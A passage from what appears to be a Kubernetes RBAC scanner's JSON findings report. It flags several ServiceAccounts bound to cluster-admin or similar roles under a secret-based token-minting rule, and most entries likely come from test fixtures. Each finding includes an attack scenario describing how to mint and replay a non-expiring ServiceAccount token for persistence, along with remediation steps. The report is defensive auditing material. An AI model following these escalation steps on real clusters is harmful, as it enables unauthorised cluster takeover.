      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=cert-manager -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/cutres/cutres-detour::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/cutres/cutres-detour`)",
    "description": "Subject ServiceAccount/cutres/cutres-detour can both `create` Secrets (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`) and `get` Secrets (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=cutres-detour -A` and `kubectl auth can-i get secrets --as=cutres-detour -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-detour-direct",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=cutres-detour -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/cutres/cutres-parallel::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/cutres/cutres-parallel`)",
    "description": "Subject ServiceAccount/cutres/cutres-parallel can both `create` Secrets (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`) and `get` Secrets (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=cutres-parallel -A` and `kubectl auth can-i get secrets --as=cutres-parallel -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-parallel-a",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=cutres-parallel -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/deepchain-tenant/deepchain-privileged::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/deepchain-tenant/deepchain-privileged`)",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-privileged can both `create` Secrets (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`) and `get` Secrets (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=deepchain-privileged -A` and `kubectl auth can-i get secrets --as=deepchain-privileged -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-privileged",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=deepchain-privileged -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/flux-system/kustomize-controller::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/flux-system/kustomize-controller`)",
    "description": "Subject ServiceAccount/flux-system/kustomize-controller can both `create` Secrets (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`) and `get` Secrets (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=kustomize-controller -A` and `kubectl auth can-i get secrets --as=kustomize-controller -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-flux-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=kustomize-controller -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/foothold-exec/foothold-decoy-sa::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/foothold-exec/foothold-decoy-sa`)",
    "description": "Subject ServiceAccount/foothold-exec/foothold-decoy-sa can both `create` Secrets (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`) and `get` Secrets (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=foothold-decoy-sa -A` and `kubectl auth can-i get secrets --as=foothold-decoy-sa -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "foothold-decoy-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=foothold-decoy-sa -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/privesc-fixtures/sa-secret-mint::secrets",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/privesc-fixtures/sa-secret-mint`)",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-secret-mint can both `create` Secrets (via ClusterRoleBinding `crb-secret-mint` → ClusterRole `cr-secret-mint`) and `get` Secrets (via ClusterRoleBinding `crb-secret-mint` → ClusterRole `cr-secret-mint`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-secret-mint",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=sa-secret-mint -A` and `kubectl auth can-i get secrets --as=sa-secret-mint -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "cluster",
      "source_binding": "crb-secret-mint",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-secret-mint",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "get"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=sa-secret-mint -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
